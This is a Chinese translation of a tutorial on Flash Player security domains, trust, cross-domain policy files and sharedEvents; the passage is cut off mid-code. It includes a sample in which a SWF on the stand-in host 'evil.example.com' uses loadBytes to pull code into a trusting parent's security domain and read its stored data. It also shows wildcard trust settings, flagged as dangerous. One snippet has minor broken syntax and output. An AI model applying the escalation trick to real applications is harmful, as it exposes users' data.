今天終于有時(shí)間把 senocular 上關(guān)于安全域和應(yīng)用程序域的教程好好看了一遍。覺得人家老外就是專業(yè):內(nèi)容非常有條理且完整,圖文并茂,舉例也非常實(shí)用,真是教程中的精品。剛好我最近也在整理這方面的知識(shí),于是決定把這篇翻譯出來(lái),方便國(guó)內(nèi)的讀者。對(duì)想要進(jìn)階理解Flash的運(yùn)行機(jī)制的朋友,本文是不可多得的好材料。
原文地址: http://www.senocular.com/flash/tutorials/contentdomains/
簡(jiǎn)介
如果你還沒有與復(fù)雜的的安全域(security domain)和應(yīng)用程序域(application domain)問(wèn)題打過(guò)交道,那么你真是個(gè)幸運(yùn)的家伙。當(dāng)你在加載外部?jī)?nèi)容(然后他們開始播放)的時(shí)候,默認(rèn)的設(shè)置工作的很好,你甚至不知道他們的存在。
但是某些時(shí)候你可能需要控制默認(rèn)設(shè)置以外的更多行為和功能,這樣你就會(huì)遇到前面所說(shuō)的問(wèn)題。你也許會(huì)困擾于Security.allowDomain和crossdomain.xml文件的區(qū)別,又或者你想要深究關(guān)于安全性的最佳實(shí)踐。如果是這樣,那么這篇文章就是你所需要的了。
以下的教程將會(huì)討論什么是安全域和應(yīng)用程序域,以及他們?cè)贔lash Player中應(yīng)該如何使用。
安全域
- Introduction 簡(jiǎn)介
- Sandboxing 沙箱
- Security Domains 安全域
- Trust 信任授權(quán)
- Non-executable Trust 不可執(zhí)行文件的信任機(jī)制
- Non-executable Content Without Trust 非受信的不可執(zhí)行文件
- SWF Communication Without Trust 在非受信的SWF之間通訊
- Merging Security Domains 合并安全域
- Stage Owner and Access 場(chǎng)景的擁有者和獲取權(quán)限
- Local Security Domains 本地安全域
Sandboxing 沙箱
沙箱是用于區(qū)分不同的數(shù)據(jù)和程序執(zhí)行。沙箱對(duì)于安全性尤其重要。如果沒有恰當(dāng)?shù)男湃问跈?quán),兩個(gè)位于不同沙箱內(nèi)的內(nèi)容應(yīng)該沒有任何交互。Flash Player的安全模型使用稱為
安全域
的沙箱來(lái)分離內(nèi)容。
雖然安全性是沙箱的主要用途,但這并不是唯一使用沙箱的原因。另外一種可能的情形是使用沙箱來(lái)避免命名沖突,這種區(qū)分代碼的沙箱方式在Flash Player中被稱為
應(yīng)用域
。
Security Domains 安全域
安全域在Flash中是頂級(jí)的沙箱。安全域鏈接到內(nèi)容的來(lái)源域名,或者是被加載的內(nèi)容(如SWF文件)的來(lái)源域名。比如在senocular.com下的SWF文件包含一個(gè)鏈接到senocular.com的安全域,而在example.com下的SWF文件則有一個(gè)鏈接到example.com的安全域。不同的安全域使得SWF文件在Flash Player中播放時(shí)運(yùn)行在自身的沙箱下。
注意:在本教程的例子中,你將看到我用統(tǒng)一頂級(jí)域名下的不同子域來(lái)代表不同域名,這是因?yàn)樵贔lash中,不同子域和不同頂級(jí)域一樣,都被視為不同的域。示例中代碼也被簡(jiǎn)化過(guò)了,在Flash編輯環(huán)境下用時(shí)間線代碼也可以進(jìn)行測(cè)試。
不可執(zhí)行的內(nèi)容(非SWF文件),比如圖片或者文本文件,也被劃分到安全域中,同樣與他們所處的域名相關(guān)聯(lián)。實(shí)際上,正是域名決定了這些內(nèi)容是否能夠被某個(gè)SWF文件加載。更多這方面的內(nèi)容將在 不可執(zhí)行文件的信任機(jī)制 章節(jié)中進(jìn)行討論。
回到SWF上來(lái),安全域劃分了數(shù)據(jù)和可執(zhí)行代碼。如果兩個(gè)SWF處于不同的安全域下,某個(gè)SWF中的數(shù)據(jù)(比如某個(gè)變量)是不可以被其他SWF獲取的,當(dāng)然,代碼也不能執(zhí)行。如果嘗試獲取其他域中SWF文件的數(shù)據(jù)將會(huì)產(chǎn)生一個(gè)安全錯(cuò)誤。
下面的代碼展示了一個(gè)SWF文件企圖加載另外一個(gè)SWF,并獲取其文檔類的實(shí)例(也就是主時(shí)間線)。
http://same.example.com/parent.swf:
var
loader:Loader =
new
Loader
(
)
;
loader.
contentLoaderInfo
.
addEventListener
(
Event.
INIT
, init
)
;
var
url
:
String
=
"http://diff.example.com/child.swf"
;
loader.
load
(
new
URLRequest
(
url
)
)
;
function
init
(
event:Event
)
:
void
{
trace
(
loader.
content
)
;
// SecurityError: Error #2121: Security sandbox violation:
// Loader.content: http://same.example.com/parent.swf
// cannot access http://diff.example.com/child.swf.
// This may be worked around by calling Security.allowDomain.
}
任意想要獲取被加載的SWF文件的內(nèi)容的嘗試,甚至包括trace Loader的content屬性。都會(huì)引起安全錯(cuò)誤,因?yàn)樗麄儍烧咛幱诓煌陌踩騼?nèi)。
安全域的劃分也適用于Flash Player所使用的原生ActionScript類。Flash Player在每個(gè)安全域中都創(chuàng)建了獨(dú)立的原生類。舉例來(lái)說(shuō),一個(gè)安全域內(nèi)的XML類與另外一個(gè)安全域內(nèi)的XML類是不相同的,改變其中一個(gè)XML的靜態(tài)屬性XML.prettyIndent并不會(huì)影響到另一個(gè)安全域。
下面這個(gè)SWF文件加載了兩個(gè)子SWF,一個(gè)來(lái)自自身的域,另一個(gè)從另外的域加載。我們改變了主文件的prettyIndent屬性,來(lái)看看這兩個(gè)子文件的屬性輸出。
http://same.example.com/parent.swf:
trace
(
XML
.
prettyIndent
)
;
// 2
XML
.
prettyIndent
=
5
;
trace
(
XML
.
prettyIndent
)
;
// 5
// Same domain:
var
sameLoader:Loader =
new
Loader
(
)
;
var
sameURL:
String
=
"http://same.example.com/child.swf"
;
sameLoader.
load
(
new
URLRequest
(
sameURL
)
)
;
// Different domain:
var
diffLoader:Loader =
new
Loader
(
)
;
var
diffURL:
String
=
"http://diff.example.com/child.swf"
;
diffLoader.
load
(
new
URLRequest
(
diffURL
)
)
;
http://same.example.com/child.swf:
trace
(
"same: "
+
XML
.
prettyIndent
)
;
// same: 5
http://diff.example.com/child.swf:
trace
(
"diff: "
+
XML
.
prettyIndent
)
;
// diff: 2
可以看到,第二個(gè)子文件的屬性并沒有被改變。這就說(shuō)明不同的安全域具有不同的原生ActionScript類定義。
Trust 信任授權(quán)
盡管安全域只允許相同域下的通訊,但是我們可以通過(guò)信任授權(quán)來(lái)讓處于兩個(gè)不同安全域內(nèi)的SWF文件進(jìn)行通訊。通過(guò)授權(quán),某個(gè)安全域內(nèi)的文件可以獲取另一個(gè)域內(nèi)文件的的數(shù)據(jù),或者調(diào)用其方法,就像是處于相同的安全域下一樣。
在ActionScript中,SWF的信任授權(quán)是通過(guò) Security.allowDomain (或者類似的 Security.allowInsecureDomain )來(lái)設(shè)置的。在被信任的安全域內(nèi)的代碼可以調(diào)用這個(gè)方法來(lái)授權(quán)信任給另一個(gè)或者一組在其他安全域內(nèi)的SWF文件。這種信任是單向的,發(fā)起allowDomain的SWF文件不能去訪問(wèn)被授權(quán)信任的文件,除非對(duì)方也做了信任授權(quán)。
在下面的例子中,一個(gè)子SWF文件調(diào)用allowDomain來(lái)允許父SWF的訪問(wèn):
http://home.example.com/parent.swf:
var
loader:Loader =
new
Loader
(
)
;
loader.
contentLoaderInfo
.
addEventListener
(
Event.
INIT
, init
)
;
var
url
:
String
=
"http://away.example.com/child.swf"
;
loader.
load
(
new
URLRequest
(
url
)
)
;
function
init
(
event:Event
)
:
void
{
// (子文件執(zhí)行了allowDomain)
trace
(
loader.
content
)
; <em>
// [object DocumentClass]</em>
}
http://away.example.com/child.swf:
Security.
allowDomain
(
"home.example.com"
)
;
如果沒有授信,就像前文說(shuō)到的,還是會(huì)引發(fā)安全錯(cuò)誤。但是一旦被加載的子SWF調(diào)用了allowDomain以后,父SWF文件就可以自由的訪問(wèn)子SWF文件中的內(nèi)容。要注意的是在這個(gè)例子中,由于父SWF文件沒有授權(quán)away.example.com的信任,所以子SWF仍然無(wú)法訪問(wèn)loader的content屬性。
信任是非常重要的安全概念,絕對(duì)不能掉以輕心。我們經(jīng)??匆娛褂猛ㄅ浞氖跈?quán):
// 小心哦!
Security.
allowDomain
(
"*"
)
;
這么做將允許所有SWF文件,不僅僅只是你加載的或是加載你的,可以通過(guò)ActionScript來(lái)訪問(wèn)你文件中的數(shù)據(jù)。就算你沒有在文件中包含敏感數(shù)據(jù),但是如果你在文件中提供了某些方法去獲取這種數(shù)據(jù),那也有可能被其他SWF調(diào)用。使用allowDomain來(lái)授權(quán)的信任就像給了其他SWF文件相等的權(quán)利:你能做什么,我就能做什么。在接下來(lái)的 合并安全域 章節(jié)中你將看到這意味著什么。
如果你只是想讓SWF之間能夠通信,除了信任授權(quán)的方法以外我們還可以使用sharedEvents對(duì)象來(lái)實(shí)現(xiàn),我們將在 在非受信的SWF之間通訊 章節(jié)中討論。
Non-executable Trust 不可執(zhí)行文件的信任機(jī)制
由于不可執(zhí)行文件(也就是非SWF文件)不能調(diào)用allowDomain代碼,所以這類文件的信任機(jī)制在Flash Player中有不一樣的處理方法。這就是跨域(cross-domain)策略文件派上用場(chǎng)的地方。
跨域策略文件是一個(gè)放在網(wǎng)站的根域名下的命名為crossdomain.xml的XML文件。和allowDomain類似,定義了一組可以被Flash Player加載的安全網(wǎng)站域名。一個(gè)簡(jiǎn)單的跨域策略文件的例子如下:
http://example.com/crossdomain.xml:
<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="www.example-partner.com"/>
</cross-domain-policy>
你可以從 Cross-domain policy file specification (adobe.com)獲得詳細(xì)的文件格式信息。
和allowDomain不同的是,跨域策略文件只提供了包含所有文件(通常是一個(gè)域下的所有文件)的用法。上面的例子表示允許來(lái)自example.com的任意子域或www.example-partner.com的SWF文件加載example.com下的文件。
由于存在allowDomain機(jī)制,跨域策略文件通常不用于授權(quán)SWF文件的訪問(wèn)??缬蚣虞dSWF的時(shí)候不會(huì)請(qǐng)求跨域策略文件。只有當(dāng)要把一個(gè)跨域的SWF合并到當(dāng)前的安全域的時(shí)候,才需要提供跨域策略文件。這個(gè)主題將在 合并安全域 中進(jìn)行討論。
不管是標(biāo)準(zhǔn)的位于域名根目錄下的跨域策略文件還是用 Security.loadPolicyfile 指定的跨域策略文件,都只有在需要的時(shí)候才會(huì)被加載:當(dāng)內(nèi)容被加載的同時(shí),跨域策略文件也被一起加載進(jìn)來(lái)。
加載完成后,F(xiàn)lash Player分析跨越策略文件并判斷該域是否為信任SWF所處的域。如果答案是肯定的話,文件正常加載,就像處于和SWF文件相同的域一樣。反之則有可能有兩種情況:
- 文件不被加載
- 文件加載成功,但是其數(shù)據(jù)不能被SWF文件直接訪問(wèn)
如果文件本身就是數(shù)據(jù)(文本文件,XML文件,二進(jìn)制數(shù)據(jù)等等),那么文件就不會(huì)被加載。
需要跨域策略文件來(lái)加載僅包含數(shù)據(jù)的文件
如果文件除了數(shù)據(jù)以外還有其余用途(圖像文件,聲音文件等),那么文件還是能夠被加載到用戶可見(可聽)的環(huán)境中。比如說(shuō)圖像文件,就算沒有跨域策略文件,還是可以在Loader對(duì)象中顯示給用戶看。但是類似BitmapData.draw等直接訪問(wèn)圖像數(shù)據(jù)的方法就不能運(yùn)行。
需要跨域策略文件來(lái)獲取其他文件的數(shù)據(jù)的引用
對(duì)此可能大家都有點(diǎn)疑惑。實(shí)際上用戶是可以訪問(wèn)這些數(shù)據(jù)的,但是SWF文件不行。Flash Player是在保護(hù)用戶的數(shù)據(jù)不被潛藏有危險(xiǎn)代碼的SWF文件獲取。用戶不需要關(guān)心跨域策略文件也能正常的瀏覽網(wǎng)頁(yè)內(nèi)容。
但這并不是說(shuō)跨域策略文件可以被忽視,類似于下面這種過(guò)分縱容的跨域策略文件有很多潛在的危險(xiǎn):
<?xml version="1.0"?>
<cross-domain-policy>
<!--
小心哦!
-->
<allow-access-from domain="*"/>
</cross-domain-policy>
警告 :使用通配符(*)允許所有域的訪問(wèn)等同于: 用戶可能可以接觸到的所有處于該域下的數(shù)據(jù)都有可能被任意SWF文件獲取 。
客戶端的Flash Player運(yùn)行在當(dāng)前用戶的認(rèn)證下,這就表示用戶的數(shù)據(jù)可能就是Flash Player的數(shù)據(jù)。而且Flash Player的數(shù)據(jù)可能被任意在里面運(yùn)行的SWF獲取。Flash Player默認(rèn)只允許相同域名下的SWF的安全數(shù)據(jù),并限制跨域SWF的運(yùn)行。如果沒有這層限制,SWF可以獲取任意當(dāng)前用戶可以獲取的數(shù)據(jù)。
舉個(gè)例子:某用戶使用他的認(rèn)證來(lái)登錄網(wǎng)頁(yè)的郵件客戶端收取郵件,然后用戶打開了一個(gè)包含有惡意程序的SWF的頁(yè)面。如果沒有跨域限制的話,這個(gè)SWF可以用他現(xiàn)有的認(rèn)證偷偷地加載用戶的郵件頁(yè)面。用戶可以訪問(wèn)的內(nèi)網(wǎng)也不例外,只要用戶能去的地方,SWF就能去。幸好Flash Player阻止了這種獲取數(shù)據(jù)的行為,除非該域通過(guò)跨域策略文件給予SWF授權(quán)。
記住一個(gè)原則,永遠(yuǎn)不要對(duì)包含敏感數(shù)據(jù)的域開發(fā)跨域授權(quán),即使需要上面的信息來(lái)進(jìn)行用戶認(rèn)證。把SWF可以訪問(wèn)的數(shù)據(jù)劃分到不同的域或者子域下面。
Domain Description Policy file| login.example.com | Hosts user data | None |
| feed.example.com | Hosts public data |
Includes:
<allow-access-from domain="*" />
|
這將使得敏感數(shù)據(jù)不可被訪問(wèn),但是仍然可以對(duì)其他域下的SWF文件公開你的其他數(shù)據(jù)。
Non-executable Content Without Trust 非受信的不可執(zhí)行文件
如果沒有跨域策略文件的信任授權(quán),F(xiàn)lash Player禁止非SWF文件的獲取。特別是像文本那樣的僅包含數(shù)據(jù)的文件,甚至不會(huì)加載。如果你需要從一個(gè)沒有跨域授權(quán)的域中獲取數(shù)據(jù),還是有一個(gè)變通的辦法。
跨域策略文件用于保護(hù)數(shù)據(jù),特別是保護(hù)用戶數(shù)據(jù),或者說(shuō)是用戶能夠接觸到的數(shù)據(jù)。因?yàn)镕lash Player是運(yùn)行在客戶端的,但是服務(wù)器端的代碼沒有這種限制。服務(wù)器完全是另外一臺(tái)機(jī)器,所以用戶請(qǐng)求和服務(wù)器請(qǐng)求是完全無(wú)關(guān)的。
由于服務(wù)器沒有用戶的限制,服務(wù)器端的代碼可以從任意公開的網(wǎng)絡(luò)服務(wù)獲取數(shù)據(jù)。也就是說(shuō)包含SWF的服務(wù)器可以用于訪問(wèn)外部域的數(shù)據(jù),然后作為相同域的數(shù)據(jù)返回給Flash Player。由于處在相同的域下,F(xiàn)lash Player就不需要有跨域策略文件了。
下面的代碼演示了一個(gè)服務(wù)器端的php腳本加載外部數(shù)據(jù)的例子:
http://home.example.com/loader.swf:
var
urlLoader:URLLoader =
new
URLLoader
(
)
;
var
urlVariables:URLVariables =
new
URLVariables
(
)
;
// 服務(wù)器端獲取外部數(shù)據(jù)的地址
urlVariables.
externalURL
=
"http://away.example.com/content.txt"
;
// 服務(wù)器端的腳本獲取外部數(shù)據(jù)并傳給SWF
var
serverPage:
String
=
"http://home.example.com/read.php"
;
var
request:URLRequest =
new
URLRequest
(
serverPage
)
;
request.
data
= urlVariables;
urlLoader.
load
(
request
)
;
這種解決方案也有一定的問(wèn)題。首先你必須能夠在服務(wù)器端部署代碼,某些小項(xiàng)目也許根本不需要服務(wù)器環(huán)境。
另一個(gè)可能更重要的原因是這種方式加倍了網(wǎng)絡(luò)流量。首先必須從外部域加載到你自己的域下,然后才被下載到你的SWF客戶端。同時(shí)這也加重了你的服務(wù)器的負(fù)載。使用跨域策略文件的話就不會(huì)有這種問(wèn)題。
這可以作為一種解決方案,但最好還是能用跨域策略文件來(lái)解決。
SWF Communication Without Trust 在非受信的SWF之間通訊
在某些情況下有可能要與其他來(lái)源不那么可靠的域中的SWF通訊,你并不希望完全信任該域,放開全部授權(quán)。對(duì)此LoaderInfo對(duì)象的sharedEvents屬性提供了另一種機(jī)制。sharedEvents對(duì)象是唯一的一個(gè)可以在不同安全域中發(fā)送共享事件的對(duì)象。加載者和被加載者都可以通過(guò)這個(gè)對(duì)象來(lái)向?qū)Ψ桨l(fā)送事件。
通過(guò)sharedEvents對(duì)象發(fā)送的事件在兩個(gè)域中都是完全受信的,這就使得在兩個(gè)安全域中傳遞的任意數(shù)據(jù)都無(wú)需考慮安全問(wèn)題。
警告 :當(dāng)心!通過(guò)sharedEvents對(duì)象傳遞了錯(cuò)誤的數(shù)據(jù)仍然有可能把你的SWF中的數(shù)據(jù)暴露出去。比如你的事件包含了一個(gè)復(fù)雜對(duì)象,特別是顯示列表上的對(duì)象,那么你的整個(gè)SWF都將暴露。
所以通過(guò)sharedEvents發(fā)送的事件應(yīng)該限制為包含簡(jiǎn)單數(shù)據(jù)的事件類型,避免一些被包含后門的SWF程序加以利用。如果你要傳遞復(fù)雜的事件,那要在傳遞之前先做一下清理。
使用sharedEvents進(jìn)行通訊的兩個(gè)SWF需要確保發(fā)送和接收的是一致的事件類型。父SWF可以發(fā)出一種事件并監(jiān)聽另一種。子SWF可以監(jiān)聽父SWF發(fā)出的事件并發(fā)出父SWF中正在監(jiān)聽的事件。這些事件的名字可以是隨意的。
下面的例子演示了在不同安全域中的父子SWF使用sharedEvents來(lái)通訊簡(jiǎn)單的文本信息的情況。父SWF發(fā)出“fromParent”事件,而子SWF發(fā)出“fromChild”事件。
http://safe.example.com/parent.swf:
var
loader:Loader =
new
Loader
(
)
;
var
shared:EventDispatcher = loader.
contentLoaderInfo
.
sharedEvents
;
shared.
addEventListener
(
"fromChild"
, fromChild
)
;
var
url
:
String
=
"http://untrusted.example.com/child.swf"
;
loader.
load
(
new
URLRequest
(
url
)
)
;
function
fromChild
(
event:TextEvent
)
:
void
{
trace
(
event.
text
)
;
// Good day
var
replyMessage:TextEvent =
new
TextEvent
(
"fromParent"
)
;
replyMessage.
text
=
"Same to you"
;
shared.
dispatchEvent
(
replyMessage
)
;
}
http://untrusted.example.com/child.swf:
var
shared:EventDispatcher = loaderInfo.
sharedEvents
;
shared.
addEventListener
(
"fromParent"
, fromParent
)
;
var
firstMessage:TextEvent =
new
TextEvent
(
"fromChild"
)
;
firstMessage.
text
=
"Good Day"
;
shared.
dispatchEvent
(
firstMessage
)
;
function
fromParent
(
event:TextEvent
)
:
void
{
trace
(
event.
text
)
;
// Same to you
}
任意的事件類都可以像這樣用于傳遞信息,也包括自定義事件。再次強(qiáng)調(diào),要當(dāng)心不要把包含引用的數(shù)據(jù)(特別是顯示列表上的對(duì)象)隨著事件一起發(fā)送出去。這種情況的例子在 場(chǎng)景的擁有者和獲取權(quán)限 章節(jié)中可以找到。
Merging Security Domains 合并安全域
如果兩個(gè)域之間建立了信任關(guān)系,一個(gè)SWF就能把另外一個(gè)SWF加到自己的安全域內(nèi),就像是在相同的域下一樣。
在這種情況下信任授權(quán)的處理有少許不同。首先,包含父SWF的域不需要指定什么,只要執(zhí)行加載另一個(gè)SWF到當(dāng)前的安全域就表示完全信任這個(gè)SWF。
其次,因?yàn)樽覵WF是立即被加載到父SWF的安全域中,并沒有機(jī)會(huì)通過(guò)allowDomain進(jìn)行信任授權(quán)聲明。當(dāng)子SWF可以執(zhí)行allowDomain聲明的時(shí)候,已經(jīng)被加載并實(shí)例化到另外的域中。所以這種情況下,跨域策略文件將派上用場(chǎng)。實(shí)際上這也是跨域策略文件唯一適用于對(duì)SWF進(jìn)行授權(quán)的情況。
需要跨域策略文件把跨域的SWF加載到相同的安全域
要加載某個(gè)SWF到自己的安全域內(nèi),需要給Loader.load方法指定一個(gè) LoaderContext 對(duì)象。LoaderContext對(duì)象的securityDomain屬性設(shè)置為當(dāng)前的安全域( SecurityDomain.currentDomain )。通過(guò)這樣的加載方式,父SWF授信給子SWF,而子SWF的授信則需要通過(guò)跨域策略文件。
http://host.example.com/parent.swf:
trace
(
new
LocalConnection
(
)
.
domain
)
;
// host.example.com
var
loader:Loader =
new
Loader
(
)
;
// 創(chuàng)建一個(gè)LoaderContext對(duì)象把子SWF加載到當(dāng)前的安全域
var
context:LoaderContext =
new
LoaderContext
(
true
)
;
context.
securityDomain
= SecurityDomain.
currentDomain
;
var
url
:
String
=
"http://trusting.example.com/child.swf"
;
loader.
load
(
new
URLRequest
(
url
)
, context
)
;
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="host.example.com"/>
</cross-domain-policy>
http://trusting.example.com/child.swf:
trace
(
new
LocalConnection
(
)
.
domain
)
;
// host.example.com
我們可以通過(guò) LocalConnection 對(duì)象的domain屬性來(lái)檢查每個(gè)SWF所處的安全域。雖然子SWF原先所處的域是trusting.example.com,但是由于它被加載到父SWF所處的域中,所以子SWF最終所處的安全域是host.example.com。
用這個(gè)方式加載的SWF文件權(quán)力比用allowDomain授權(quán)的更加大。使用allowDomain授權(quán),等同于 說(shuō)你能做什么,我就能做什么 。而把SWF加載到同一個(gè)安全域,則等同于 我能做任何事 。在前一種情況下,子SWF只能調(diào)用父SWF下的代碼,還是受限于父SWF中的定義。但是通過(guò)加載到相同的安全域,這些子SWF就可以在你的域下面做任意操作,這包括:
- 獲取父SWF中的任意引用
- 讀取主域中的所有文件
- 讀取其他授信給主域的所有域下的文件
- 讀取主域下的共享對(duì)象
- 獲取通過(guò)主域建立的共享連接通訊
- 獲取授信給主域的socket連接
所以在引入跨域SWF文件到你當(dāng)前的安全域下的時(shí)候,你要確保這種權(quán)力不會(huì)被濫用。
使用包含安全域的LoaderContext對(duì)象的load方法不是能夠引入跨域SWF到你的安全域的唯一方法。Loader類的另一個(gè)方法loadBytes也可以做到。和load不同的是,它不是用URL來(lái)加載外部?jī)?nèi)容,而是直接加載以 ByteArray 的形式加載對(duì)象。
由于ByteArray與域名之間沒有關(guān)聯(lián),所以用loadBytes方法加載的對(duì)象將直接進(jìn)入當(dāng)前安全域內(nèi)。因?yàn)槟阍诩虞d包含這些字節(jié)對(duì)象之前往往都要經(jīng)過(guò)某種信任授權(quán),所以這通常是安全的。
http://host.example.com/parent.swf:
trace
(
new
LocalConnection
(
)
.
domain
)
;
// host.example.com
var
loader:Loader =
new
Loader
(
)
;
var
urlLoader:URLLoader =
new
URLLoader
(
)
;
urlLoader.
dataFormat
= URLLoaderDataFormat.
BINARY
;
urlLoader.
addEventListener
(
Event.
COMPLETE
,
bytesLoaded
)
;
// cross-domain policy file required to load data
var
url
:
String
=
"http://trusting.example.com/childbytes.swf"
;
urlLoader.
load
(
new
URLRequest
(
url
)
)
;
function
bytesLoaded
(
event:Event
)
:
void
{
loader.
loadBytes
(
urlLoader.
data
)
;
}
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="host.example.com"/>
</cross-domain-policy>
http://trusting.example.com/childbytes.swf:
trace
(
new
LocalConnection
(
)
.
domain
)
;
// host.example.com
就和前面看到的例子一樣,通過(guò)檢查子SWF文件的LocalConnection.domain屬性,使用loadBytes方法加載的子SWF也顯示為相同的安全域。
警告 :loadBytes方法有個(gè)小小的安全問(wèn)題:可以把授信過(guò)的跨域SWF和加載到當(dāng)前安全域下的SWF兩者間的不同扯平。我們知道雖然這兩者都是被信任的,但是就像上面的列表中提到的,后者比前者的權(quán)力更大?!? 你能做什么,我就能做什么 ”與“ 我能做任何事 ”之間的差別,結(jié)果可以變成沒有差別。
這是因?yàn)槭谛胚^(guò)的跨域SWF文件可以訪問(wèn)父SWF的任何對(duì)象,包括父SWF對(duì)象的Loader實(shí)例,一旦擁有了對(duì)loadBytes方法的引用,這就意味著可以把某些字節(jié)對(duì)象加載到當(dāng)前的安全域。
下面的這個(gè)例子展示了這種可能性:
http://good.example.com/parent.swf:
// 授權(quán) "你能做什么,我就能做什么"
Security.
allowDomain
(
"evil.example.com"
)
;
// 應(yīng)當(dāng)受保護(hù)的數(shù)據(jù)
var
so:
SharedObject
=
SharedObject
.
getLocal
(
"foo"
,
"/"
)
;
so.
data
.
foo
=
"bar"
;
so.
flush
(
)
;
var
loader:Loader =
new
Loader
(
)
;
var
url
:
String
=
"http://evil.example.com/child.swf"
;
loader.
load
(
new
URLRequest
(
url
)
)
;
http://evil.example.com/child.swf:
var
so:
SharedObject
=
SharedObject
.
getLocal
(
"foo"
,
"/"
)
;
trace
(
"trust only: "
+ so.
data
.
foo
)
;
// trust only: undefined
var
urlLoader:URLLoader =
new
URLLoader
(
)
;
urlLoader.
dataFormat
= URLLoaderDataFormat.
BINARY
;
urlLoader.
addEventListener
(
Event.
COMPLETE
,
bytesLoaded
)
;
var
url
:
String
=
"http://evil.example.com/childbytes.swf"
;
urlLoader.
load
(
new
URLRequest
(
url
)
)
;
function
bytesLoadedEvent
)
:
void
{
// 威脅!loadBytes加載了SWF數(shù)據(jù)到父SWF的安全域
loaderInfo.
loader
.
loadBytes
(
urlLoader.
data
)
;
}
http://evil.example.com/childbytes.swf:
var
so:
SharedObject
=
SharedObject
.
getLocal
(
"foo"
,
"/"
)
;
trace
(
"same domain: "
+ so.
data
.
foo
)
;
// same domain: ba
將來(lái)版本的Flash Player可能會(huì)改變這種行為,所以在程序中不要使用這種方法。我們應(yīng)該關(guān)注的是加載授信過(guò)的SWF文件會(huì)帶來(lái)的潛在威脅:暴露你的域下的所有數(shù)據(jù)。
Stage Owner and Access 場(chǎng)景的擁有者和獲取權(quán)限
當(dāng)?shù)谝粋€(gè)SWF文件被加載到Flash Player中的時(shí)候,它被加到顯示列表的根上,也就是我們所說(shuō)的 stage 對(duì)象。這也是Flash Player自己的顯示對(duì)象的根。每個(gè)SWF都有代表自己主文檔類或者主時(shí)間線的根(叫做 root )。第一個(gè)被創(chuàng)建的SWF實(shí)例的根被放置于場(chǎng)景上,其他子SWF使用Loader對(duì)象的實(shí)例來(lái)加載。
場(chǎng)景的特別之處在于它本身就位于顯示列表上,所有處于顯示列表上的子SWF都可以取得它的引用,但是它只有一個(gè)擁有者:就是第一個(gè)被實(shí)例化的那個(gè)SWF。場(chǎng)景的擁有者決定了場(chǎng)景所連接的安全域。其他的SWF想對(duì)場(chǎng)景進(jìn)行特殊操作的行為都必須獲得場(chǎng)景所有者的信任授權(quán)。
你可能有注意到在過(guò)去的有些程序或者是組件中,被加載到不同的域(未授信)里的時(shí)候報(bào)錯(cuò)。這正是因?yàn)闆]有取得對(duì)場(chǎng)景對(duì)象進(jìn)行操作的授權(quán)。因?yàn)閳?chǎng)景對(duì)象是可以被引用的,但是諸如場(chǎng)景的addEventListener方法等卻不可用,所以這很容易引起誤解。
下面這個(gè)表格列出了場(chǎng)景對(duì)象限制非安全域?qū)ο笤L問(wèn)的成員??赡懿皇?00%精確,主要用于參考。
| addChild | addChildAt | removeChild |
| removeChildAt | getChildIndex | setChildIndex |
| getChildAt | getObjectsUnderPoint | swapChildren |
| swapChildrenAt | numChildren | tabChildren |
| mouseChildren | width | stageWidth |
| fullScreenWidth | height | stageHeight |
| fullScreenHeight | quality | align |
| scaleMode | displayState | fullScreenSourceRect |
| stageFocusRect | showDefaultContextMenu | colorCorrection |
| addEventListener | dispatchEvent | hasEventListener |
| willTrigger |
在下面的例子中看看場(chǎng)景是如何可以被子SWF訪問(wèn),但是卻不能調(diào)用stage.addEventListener方法。
http://first.example.com/parent.swf:
var
loader:Loader =
new
Loader
(
)
;
addChild
(
loader
)
;
var
url
:
String
=
"http://<samp>second</samp>.example.com/child.swf"
;
loader.
load
(
new
URLRequest
(
url
)
)
;
http://second.example.com/child.swf:
// Works
trace
(
stage
)
;
// [object Stage]
// Does not work
stage
.
addEventListener
(
MouseEvent.
CLICK
, stageClick
)
;
// SecurityError: Error #2070: Security sandbox violation:
// caller http://second.example.com/child.swf cannot access
// Stage owned by http://first.example.com/parent.swf.
場(chǎng)景的這種所有者關(guān)系非常操蛋,因?yàn)槲覀兘?jīng)常需要對(duì)場(chǎng)景對(duì)象監(jiān)聽鼠標(biāo)或者鍵盤事件,比如檢測(cè)鍵盤按下或者檢測(cè)鼠標(biāo)在物體外部釋放點(diǎn)擊。在這種情況下,單靠子SWF自身是沒辦法完成的。還好,場(chǎng)景擁有者的父SWF可以通過(guò)sharedEvents傳遞場(chǎng)景事件而不必授信給子SWF。通過(guò)這種方式,可以在保護(hù)主域的前提下配合完成這種工作。
警告 :以下這個(gè)使用范例演示了sharedEvents是如何處理安全性問(wèn)題的。一些鼠標(biāo)事件的relatedObject屬性持有對(duì)時(shí)間線上的對(duì)象的引用。如果不經(jīng)過(guò)清理,這些對(duì)象就會(huì)暴露給沒有經(jīng)過(guò)授信的域。所以通過(guò)sharedEvents發(fā)送事件時(shí),要把這些引用清除。比如MouseEvent,我們可以新建一個(gè)僅包含必須數(shù)據(jù)的MouseEvent對(duì)象。
下面的示例展示了如何通過(guò)sahredEvents發(fā)送場(chǎng)景事件。示例中僅僅轉(zhuǎn)發(fā)了MOUSE_OUT事件,當(dāng)然也可以擴(kuò)展于其他的事件類型。注意如何創(chuàng)建一個(gè)代理事件并保護(hù)父SWF中的對(duì)象。
http://stageowner.example.com/parent.swf:
var
combination:
String
=
"1-2-3-4-5"
;
// 隱私數(shù)據(jù)
var
loader:Loader =
new
Loader
(
)
;
var
shared:EventDispatcher = loader.
contentLoaderInfo
.
sharedEvents
;
var
url
:
String
=
"http://untrusted.example.com/child.swf"
;
loader.
load
(
new
URLRequest
(
url
)
)
;
stage
.
addEventListener
(
MouseEvent.
MOUSE_OUT
, forwardMouseEvent
)
;
function
forwardMouseEvent
(
event:MouseEvent
)
:
void
{
// 威脅!這種做法暴露了relatedObject,也使得其他數(shù)據(jù)被暴露
//shared.dispatchEvent(event);
// Safer: 創(chuàng)建一個(gè)清理過(guò)的代理事件來(lái)切斷relatedObject的引用
var
safeEvent:MouseEvent =
new
MouseEvent
(
event.
type
)
;
safeEvent.
altKey
= event.
altKey
;
safeEvent.
buttonDown
= event.
buttonDown
;
safeEvent.
ctrlKey
= event.
ctrlKey
;
